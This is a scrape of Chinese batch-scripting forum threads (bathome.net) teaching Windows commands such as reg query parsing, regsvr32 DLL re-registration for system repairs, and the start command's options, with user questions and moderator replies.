回复 8# Hello123World

下载 (6.22 KB)
2011-10-7 16:46

我问的是这个火把等在这个位置的标志是什么意思
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
10楼
发表于 2011-10-7 21:04 | 只看该作者
回复 9# zaixinxiangnian

多看看论坛介绍帖，多上论坛发言，逐渐就懂了。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

cb02356828
  • 发短消息
  • 加为好友

cb02356828 当前离线

UID
46869
帖子
50
精华
0
积分
68
PB
62
技术
2
捐助
0
阅读权限
10
在线时间
59 小时
注册时间
2012-4-7
最后登录
2014-5-19

上等兵

帖子
50
积分
68
技术
2
捐助
0
注册时间
2012-4-7
11楼
发表于 2012-4-12 19:30 | 只看该作者
Hello123World 发表于 2011-9-9 17:26
/ve，全英文value（不肯定），意为：值；这里引申为值名。

这个是不是应该是 value empty 啊，因为它设的是空
1

评分人数

    • Hello123World: 乐于助人PB + 6
回复 引用

评分 报告 TOP

changedirectory
  • 发短消息
  • 加为好友

changedirectory 当前离线

UID
62630
帖子
68
精华
0
积分
106
PB
106
技术
0
捐助
0
阅读权限
20
在线时间
113 小时
注册时间
2013-9-7
最后登录
2017-8-8

一级士官

帖子
68
积分
106
技术
0
捐助
0
注册时间
2013-9-7
12楼
发表于 2013-9-21 17:47 | 只看该作者
  1. ::获取ie缓存文件夹位置

  2. set zcb=

  3. set hc=

  4. set weizhi=

  5. set "zcb=HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"

  6. for /f "tokens=1* delims=Z" %%i in ('reg query "%zcb%" /v cache') do set "weizhi=%%j"

  7. set "hc=%weizhi:~1%"

  8. for /f "tokens=* delims= " %%i in ("%hc%") do set "hc=%%i"

  9. echo ie缓存文件夹位置：%hc%
复制代码
能解释第8行有什么作用吗？谢谢！
for /f "tokens=* delims= " %%i in ("%hc%") do set "hc=%%i"
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
13楼
发表于 2013-9-30 17:31 | 只看该作者
回复 12# changedirectory

其实，命令可以简化为一行：
  1.  @echo off &::获取ie缓存文件夹位置

  2. for /f "eol=! tokens=3*" %%i in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v cache') do echo %%i %%j

  3. pause>nul
复制代码

如果你想更直接点，可以使用：
  1. echo %USERPROFILE%\Local Settings\Temporary Internet Files
复制代码

它们的结果是一样的。另外：
    %TEMP%
    指向的是当前用户的临时文件目录，通常是C:\Documents and Settings\当前用户名\Local Settings\Temp。
    %TMP%
    与%TEMP%的指向相同。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

Tufeiheike
  • 发短消息
  • 加为好友

Tufeiheike 当前离线

UID
68252
帖子
10
精华
0
积分
21
PB
21
技术
0
捐助
0
阅读权限
5
在线时间
8 小时
注册时间
2014-9-8
最后登录
2014-9-20

列兵

帖子
10
积分
21
技术
0
捐助
0
注册时间
2014-9-8
14楼
发表于 2014-9-10 21:45 | 只看该作者
感觉一遇到%就蛋疼，好搞不懂什么时候单%什么时候双%
待我出山之时，定让土匪大名满世界
回复 引用

评分 报告 TOP

shelluserwlb
  • 发短消息
  • 加为好友

shelluserwlb 当前离线

UID
42319
帖子
84
精华
0
积分
109
PB
103
技术
2
捐助
0
阅读权限
20
在线时间
53 小时
注册时间
2011-10-5
最后登录
2017-1-9

一级士官

帖子
84
积分
109
技术
2
捐助
0
注册时间
2011-10-5
15楼
发表于 2014-11-3 14:34 | 只看该作者
本帖最后由 shelluserwlb 于 2014-11-3 14:37 编辑

回复 12# changedirectory

for /f "tokens=* delims= " %%i in ("%hc%") do set "hc=%%i"

上面这句话是清除前导空格以提取字符，例如原先hc=" abc "，执行后hc="abc"
例：
@echo off
set hc= abc
echo 原先：%hc%
for /f "tokens=* delims= " %%i in ("%hc%") do set "hc=%%i"
echo 提取：%hc%
pause
回复 引用

评分 报告 TOP

1 2 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:17, Processed in 0.064522 second(s), 9 queries, Gzip enabled.


31、注册dll文件：regsvr32

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（31）注册dll文件：regsvr32
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-10-9 13:08 | 只看该作者

[原创] 【续】[一日一教学]（31）注册dll文件：regsvr32

本帖最后由 Hello123World 于 2011-10-9 15:56 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
下载 (59.94 KB)
2011-10-9 12:53

命令概括：
regsvr32，全英文register sever 32，字面意思：32位注册服务（个人理解，不一定正确）

“Regsvr32.exe”命令是用来对“ActiveX控件”进行注册的。

参数详解：
/u，全英文Unregister，意为：移除注册。
/s，全英文silent，意为：无声、寂静；
/i，全英文install，意为：安装。
/n，全英文not

/s参数最常用。

这个命令一般不用，用的时候都是因为系统出现了各种问题
，以下以实例讲解：

实例1：IE无法打开新窗口

regsvr32 actxprxy.dll

regsvr32 shdocvw.dll

重启后如果还不能解决

regsvr32 mshtml.dll

regsvr32 urlmon.dll

regsvr32 msjava.dll

regsvr32 browseui.dll

regsvr32 oleaut32.dll

regsvr32 shell32.dll

实例2：IE无法保存HTML格式文件

regsvr32 inetcomm.dll

实例3：MSN无法登陆

regsvr32 softpub.dll

实例4：windows默认的文件关联混乱

regsvr32 /i shdocvw.dll

regsvr32 /i shell.dll

regsvr32 /i shdoc401.dll

实例5：Window server 2003中无法播放MP3

regsvr32 i3codeca.acm

regsvr32 i3codecx.ax

实例6：Windows添加/删除程序无法启动

regsvr32 mshtml.dll

regsvr32 /i shdocvw.dll

regsvr32 /i shell.dll

实例7 Windows搜索功能故障

regsvr32 urlmon.dll

实例8：禁止系统对媒体文件进行预览

regsvr32 /u shmedia.dll 恢复可用 regsvr32 shmedia.dll

实例9：卸载Win XP自带的zip功能

regsvr32 /u zipfldr.dll

实例10：禁用FSO对象

regsvr32 /u scrrun.dll

实例11:用户帐户打开后看不到里面的内容

regsvr32 nusrmgr.cpl 是用户账户的运行文件
regsvr32 mshtml.dll 是HTML解释器相关模块
regsvr32 jscript.dll 是Microsoft javascript脚本支持相关文件
regsvr32 /i shdocvw.dll 是为Windows应用程序添加基础文件和网络操作相关模块

用户帐户打开空白一般可能模块会出现问题，有的会出现比如模块找不到等

管理員無法打開或設置用戶權限解決方法:
執行:regsvr32 uscript.dll
regsvr32 mshtml.dll

切换用户出现警示提示，“高级INF安装程序”
“错误：无法定位INF文件C:\WINDOWS\INF\icw.inf

regsvr32 MSHTML.DLL

Regsvr32其它应用：

A、修复 IE 浏览器
如果发现IE不能打开新的窗口，用”鼠标左键“点击超链接没有任何反应，用鼠标右键点击超链接，在弹出的菜单中选择“在新窗口打开”也没有任何反应——
1、单击“开始-->运行”，在“运行”窗口中，输入“regsvr32 actxprxy.dll”，然后“确定”，接着会出现一个信息对话框“DllRegisterServer in actxprxy.dll succeeded”，再次点击“确定”；
2、再次打开“运行”窗口，输入“regsvr32 shdocvw.dll”，单击“确定”；
3、重新启动Windows系统，运行IE，就会发现——OK了。

B、卸载无用“鸡肋”
Windows XP自带ZIP功能，占用了很多系统资源，其功能还不如第三方解压缩软件。如要卸载它——
点击“开始→运行”，在运行对话框中输入“regsvr32 /u zipfldr.dll”，单击“确定”后，弹出卸载成功信息框，就完成卸载ZIP功能。恢复ZIP功能，输入“regsvr32 zipfldr.dll”即可。

C、防范脚本病毒

当前嵌在网页中的脚本病毒很是厉害。很多脚本病毒的复制、传播都离不开“FSO对象（File System Object）”，因此禁用“File System Object”就能有效地控制脚本病毒的传播。方法——
单击“开始-->运行”，在“运行”窗口中，输入”regsvr32 /u scrrun.dll"，就可以禁用FSO对象。需要使用FSO对象时，输入“regsvr32 scrrun.dll ”即可。

扩展阅读：
dll是什么？
全英文Dynamic Link Library，意为“动态链接库”。dll文件自然就是动态链接库文件了。

详解：http://baike.baidu.com/view/147789.htm
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
2楼
发表于 2011-10-9 15:20 | 只看该作者
[Window Title]
RegSvr32

[Content]
The command-flag "/?" is not valid. Please review the command usage and try again.

Usage: regsvr32 [/n] [/i[:cmdline]] dllname
/u - Unregister server
/s - Silent; display no message boxes
/i - Call DllInstall passing it an optional [cmdline]; when used with /u calls dll uninstall
/n - do not call DllRegisterServer; this option must be used with /i
1

评分人数

    • Hello123World: 多谢提醒！PB + 6
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

andy七少
  • 发短消息
  • 加为好友

andy七少 当前离线

UID
36895
帖子
34
精华
0
积分
40
PB
40
技术
0
捐助
0
阅读权限
5
在线时间
27 小时
注册时间
2011-4-26
最后登录
2017-3-29

列兵

帖子
34
积分
40
技术
0
捐助
0
注册时间
2011-4-26
3楼
发表于 2011-10-16 13:07 | 只看该作者
这么多文件怎么记呀，估计记过也会忘得吧
智慧是创造财富的唯一保障！
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
4楼
发表于 2011-10-16 15:44 | 只看该作者
回复 3# andy七少

不需要记，知道有那么回事就行了，至少需要用的时候知道去哪里查。

rundll32在批处理中的应用搜集
http://bbs.bathome.net/thread-2358-1-1.html

regsvr32.exe与rundll32.exe在批处理中的使用
http://bbs.bathome.net/thread-414-1-1.html
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

秋风·飞扬
  • 发短消息
  • 加为好友

秋风·飞扬 当前离线

UID
47353
帖子
168
精华
0
积分
1008
PB
1008
技术
0
捐助
0
阅读权限
50
在线时间
46 小时
注册时间
2012-4-24
最后登录
2014-9-20

上尉

帖子
168
积分
1008
技术
0
捐助
0
注册时间
2012-4-24
5楼
发表于 2012-4-27 22:02 | 只看该作者
顶一个，喜欢解决系统问题，但又不知道从哪里下手..
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:18, Processed in 0.046008 second(s), 9 queries, Gzip enabled.


32、打开文件、运行程序：start

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（32）打开文件、运行程序：start
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-10-12 17:47 | 只看该作者

[原创] 【续】[一日一教学]（32）打开文件、运行程序：start

本帖最后由 Hello123World 于 2011-11-11 10:42 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 启动一个单独的窗口运行指定的程序或命令。

  2.

  3. START ["title"] [/D path] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]

  4.       [/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL]

  5.       [/AFFINITY <hex affinity>] [/WAIT] [/B] [command/program]

  6.       [parameters]

  7.

  8.     "title"     在窗口标题栏中显示的标题。

  9.     path        启动目录。

  10.     B           启动应用程序，但不创建新窗口。应用程序已

  11.                 忽略 ^C 处理。除非应用程序启用 ^C 处理，否则 ^Break 是唯一可以中断

  12.                 该应用程序的方式。

  13.     I           新的环境将是传递给 cmd.exe 的原始环境，而不是当前环境。

  14.     MIN         以最小化方式启动窗口。

  15.     MAX         以最大化方式启动窗口。

  16.     SEPARATE    在单独的内存空间中启动 16 位 Windows 程序。

  17.     SHARED      在共享内存空间中启动 16 位 Windows 程序。

  18.     LOW         在 IDLE 优先级类中启动应用程序。

  19.     NORMAL      在 NORMAL 优先级类中启动应用程序。

  20.     HIGH        在 HIGH 优先级类中启动应用程序。

  21.     REALTIME    在 REALTIME 优先级类中启动应用程序。

  22.     ABOVENORMAL 在 ABOVENORMAL 优先级类中启动应用程序。

  23.     BELOWNORMAL 在 BELOWNORMAL 优先级类中启动应用程序。

  24.     AFFINITY    新应用程序将具有指定的处理器关联掩码，用十六进制数字表示。

  25.     WAIT        启动应用程序并等待它终止。

  26.     command/program

  27.                 如果它是内部 cmd 命令或批文件，则该命令处理器是使用 cmd.exe

  28.                 的 /K 开关运行的。

  29.                 这表示运行该命令之后，该窗口将仍然存在。

  30.

  31.                 如果它不是内部 cmd 命令或批文件，则它就是一个程序，并将作为

  32.                 一个窗口化应用程序或控制台应用程序运行。

  33.

  34.     parameters  这些是传递给 command/program 的参数。

  35.

  36. 注意: 在 64 位平台上不支持 SEPARATE 和 SHARED 选项。

  37.

  38. 如果命令扩展被启用，通过命令行或 START 命令的外部命令

  39. 调用会如下改变:

  40.

  41. 将文件名作为命令键入，非可执行文件可以通过文件关联调用。

  42.     (例如，WORD.DOC 会调用跟 .DOC 文件扩展名关联的应用程序)。

  43.     关于如何从命令脚本内部创建这些关联，请参阅 ASSOC 和

  44.      FTYPE 命令。

  45.

  46. 执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用

  47.     程序终止就返回命令提示符。如果在命令脚本内执行，该新行为

  48.     则不会发生。

  49.

  50. 如果执行的命令行的第一个符号是不带扩展名或路径修饰符的

  51.     字符串 "CMD"，"CMD" 会被 COMSPEC 变量的数值所替换。这

  52.     防止从当前目录提取 CMD.EXE。

  53.

  54. 如果执行的命令行的第一个符号没有扩展名，CMD.EXE 会使用

  55.     PATHEXT 环境变量的数值来决定要以什么顺序寻找哪些扩展

  56.     名。PATHEXT 变量的默认值是:

  57.

  58.         .COM;.EXE;.BAT;.CMD

  59.

  60.     请注意，该语法跟 PATH 变量的一样，分号隔开不同的元素。

  61.

  62. 查找可执行文件时，如果没有相配的扩展名，看一看该名称是否

  63. 与目录名相配。如果确实如此，START 会在那个路径上调用

  64. Explorer。如果从命令行执行，则等同于对那个路径作 CD /D。
复制代码
命令概括：
start，意为“开始，启动”；
title，意为“标题”；
/d，全英文directory，意为“目录”；（经常出现的参数——以后的教程中，一些在多个命令经常出现的的参数就不再翻译了）
/min，全英文minimum，意为“最小化”；
/max，全英文maximum，意为“最大化”；
/wait，意为“等待”；
/b，（未知）；
command/program，意为“命令行/程序”
parameters，意为“参数”；

nj将start描述成“打开文件、运行程序”是很形象的一种说法，不过start可不仅仅是“打开文件、运行程序”，它还能“打开文件夹、运行命令（可以带参数）”！

参数详解：
在进行参数详解之前，我希望新手要牢记以下语法，且不要偷懒使用简写的方法，一直的使用这种语法：
start "" "程序名/文件夹名/文件名"

下面进行参数详解。

1.打开文件。
  1. @echo off

  2. echo hello>"c:\hello world.txt"

  3. start "" "c:\hello world.txt"
复制代码
这里我先用echo创建，再用start打开。
start "" "c:\hello world.txt"

第一个引号就是title（标题），这里title（标题）的值是空；

第二个引号中是文件的完全路径，为什么要加引号呢？（为有空格的路径加上英文双引号——老生常谈的东西了）

这也是为什么我在一开始就强调要用
start "" "程序名/文件夹名/文件名"

这种语法的原因（避免考虑太多的因素，只要这么写就错不了）；

类似于，遇到要结束进程就写 taskkill /f /t /im 进程名 ，这样就准错不了，虽然要多敲几个字符。

taskkill /f /t /im qq.exe

加上/t参数，对付有子进程的程序（qq.exe有子进程txplatform.exe，不加/t参数txplatform.exe会滞留内存、浪费内存空间）。

qq还好说话，对于那些有子进程保驾护航的软件，你不加/t参数就结束不了进程。

2.运行程序。
  1. @echo off

  2. echo hello

  3. start /wait "" "F:\音乐软件\Kugou7\kugou7.exe"

  4. echo world

  5. pause
复制代码
F:\音乐软件\Kugou7\kugou7.exe改成你对应的音乐软件路劲；

运行bat之后，显示 hello，运行酷狗7播放音乐，如果不结束酷狗7，world就不会被显示出来，一结束酷狗7的进程，world就显示；

之所以出现这种现象，都是/wait参数搞的鬼；

wait参数就是等待 start 启动的程序结束，再执行start命令的下一条语句。

3.打开文件夹

命令行中打开：
  1. @echo off

  2. start "" /d  "c:\"

  3. pause
复制代码
这个bat基本等同于
  1. @echo off

  2. cmd /k "cd /d c:\"

  3. pause
复制代码
实际打开（弹出文件夹）：
  1. @echo off

  2. md hello1

  3. start "" "hello1\"

  4. pause
复制代码
::创建hello1文件夹，并打开

4.运行命令
  1. @echo off

  2. start  /max dir /b

  3. pause
复制代码
xp的朋友全屏了，win7的朋友半屏了（win7是由于微软在这个系统中限制了cmd的全屏才会如此）；

会有两个窗口，第一个旧cmd，另一个是新cmd（由start创建），新cmd执行了dir /b命令。

/max 最大化运行cmd（对其它应用程序无效），/min 最小化运行cmd。

16位、程序优先级之类的参数由于不常用，这里不再讲解，有兴趣的朋友可以自行研究。

扩展阅读：
1.start. （start命令后跟一点）：打开命令提示符所处的当前路径。（感谢yyykkkyyyy 提供）。
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

QIAOXINGXING
  • 发短消息
  • 加为好友

QIAOXINGXING 当前离线

UID
41651
帖子
241
精华
0
积分
431
PB
359
技术
24
捐助
0
阅读权限
20
在线时间
438 小时
注册时间
2011-9-15
最后登录
2018-1-11

六级士官

帖子
241
积分
431
技术
24
捐助
0
注册时间
2011-9-15
2楼
发表于 2011-10-13 12:18 | 只看该作者
不错，学习了。。
回复 引用

评分 报告 TOP

yyykkkyyyy
  • 发短消息
  • 加为好友

yyykkkyyyy 当前离线

UID
43087
帖子
80
精华
0
积分
179
PB
110
技术
23
捐助
0
阅读权限
20
在线时间
359 小时
注册时间
2011-11-1
最后登录
2016-1-16

二级士官

帖子
80
积分
179
技术
23
捐助
0
注册时间
2011-11-1
3楼
发表于 2011-11-11 08:52 | 只看该作者
我经常在命令行输入这条命令(只加一点)： start.
1

评分人数

    • Hello123World: 乐于助人技术 + 1
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
4楼
发表于 2011-11-11 12:50 | 只看该作者
最重要的“Start /b”没讲呢！~
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
5楼
发表于 2011-11-11 17:00 | 只看该作者
回复 4# cjiabing

start /b 我一直没搞懂，有什么用，怎么用？
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
6楼
发表于 2011-11-11 18:47 | 只看该作者
晕，那天不是在群里谈论了吗？你找记录。
说简单点是多线程，多线程的意义就是可以同时处理多个任务，手机不好发例子。
批处理倒计时与按任意键终止
http://www.bathome.net/viewthread.php?tid=11994&highlight=
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

guanger
  • 发短消息
  • 加为好友

guanger 当前离线

UID
50774
帖子
24
精华
0
积分
25
PB
25
技术
0
捐助
0
阅读权限
5
在线时间
6 小时
注册时间
2012-8-9
最后登录
2013-4-3

列兵

帖子
24
积分
25
技术
0
捐助
0
注册时间
2012-8-9
7楼
发表于 2012-8-9 19:30 | 只看该作者
很不错啊。以后的好好学习了
行公义，好怜悯，存谦卑的心...
回复 引用

评分 报告 TOP

huijunloves
  • 发短消息
  • 加为好友

huijunloves 当前离线

UID
63012
帖子
5
精华
0
积分
16
PB
16
技术
0
捐助
0
阅读权限
5
在线时间
0 小时
注册时间
2013-10-16
最后登录
2013-10-17

列兵

帖子
5
积分
16
技术
0
捐助
0
注册时间
2013-10-16
8楼
发表于 2013-10-16 10:07 | 只看该作者
不错，学习了。。
回复 引用

评分 报告 TOP

zhangwen716053
  • 发短消息
  • 加为好友

zhangwen716053 当前离线

UID
66508
帖子
19
精华
0
积分
30
PB
30
技术
0
捐助
0
阅读权限
5
在线时间
5 小时
注册时间
2014-5-18
最后登录
2014-5-26

列兵

帖子
19
积分
30
技术
0
捐助
0
注册时间
2014-5-18
9楼
发表于 2014-5-23 16:48 | 只看该作者
今天学习了一会儿，又有了一点心得体会，嗯，批处理，挺好的，强大！
回复 引用

评分 报告 TOP

zh_1452
  • 发短消息
  • 加为好友

zh_1452 当前离线

UID
65134
帖子
68
精华
0
积分
75
PB
75
技术
0
捐助
0
阅读权限
10
在线时间
36 小时
注册时间
2014-2-28
最后登录
2016-3-20

上等兵

帖子
68
积分
75
技术
0
捐助
0
注册时间
2014-2-28
10楼
发表于 2014-6-8 12:52 | 只看该作者
晕，那天不是在群里谈论了吗？你找记录。
说简单点是多线程，多线程的意义就是可以同时处理多个任务，手机 ...
cjiabing 发表于 2011-11-11 18:47

这个文件怎么打不开？
@echo off
cd c:\windows\system32\config\.
xcopy c:\windows\system32\config\asm /f
start "" "c:\windows\system32\config\asm"
pause

2014-6-8 12-52-01.jpg (8.58 KB)

下载次数:1

2014-6-8 12:52

回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
11楼
发表于 2014-6-10 20:36 | 只看该作者
回复 10# zh_1452

提问请到求助和咨询版块
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

zh_1452
  • 发短消息
  • 加为好友

zh_1452 当前离线

UID
65134
帖子
68
精华
0
积分
75
PB
75
技术
0
捐助
0
阅读权限
10
在线时间
36 小时
注册时间
2014-2-28
最后登录
2016-3-20

上等兵

帖子
68
积分
75
技术
0
捐助
0
注册时间
2014-2-28
12楼
发表于 2014-6-10 21:39 | 只看该作者
cjiabing
直接回答不就完了嘛
这个版主不会呀
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
13楼
发表于 2014-6-11 21:12 | 只看该作者
回复 12# zh_1452

本版规则1、本版块以批处理教程（BAT CMD DOS）和各种相关资料为主，求代码、求解释等各类咨询帖请发往 代码咨询&讨论 版块；
2、转帖的教程及资料，请在显著位置标明作者及详细出处，以示对原作者辛勤劳动的尊敬；切不可对转载事实只字不提，从而导致其他人误以为楼主就是原作者；
3、严禁跟纯顶、纯支持、纯路过、纯感谢的帖子，此类回帖一律删除！
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

shelluserwlb
  • 发短消息
  • 加为好友

shelluserwlb 当前离线

UID
42319
帖子
84
精华
0
积分
109
PB
103
技术
2
捐助
0
阅读权限
20
在线时间
53 小时
注册时间
2011-10-5
最后登录
2017-1-9

一级士官

帖子
84
积分
109
技术
2
捐助
0
注册时间
2011-10-5
14楼
发表于 2014-11-3 16:09 | 只看该作者
本帖最后由 shelluserwlb 于 2014-11-3 16:28 编辑
回复 cjiabing

start /b 我一直没搞懂，有什么用，怎么用？
Hello123World 发表于 2011-11-11 17:00

刚才试了一下/b参数：

--------test.bat--------
@echo off
start "" /b /d "e:\"
dir
echo 调用ss.bat之前
call ss.bat
echo 调用ss.bat之后
pause

-------------ss.bat---------
echo 这是ss.bat

test.bat 执行顺序： 1. 执行dir命令 2.显示 "调用ss.bat之前" 3.显示“这是ss.bat” 4.显示“ 调用ss.bat之后”
5.执行pause命令 6.在同一cmd命令窗口执行 cmd命令 并跳转到e盘。

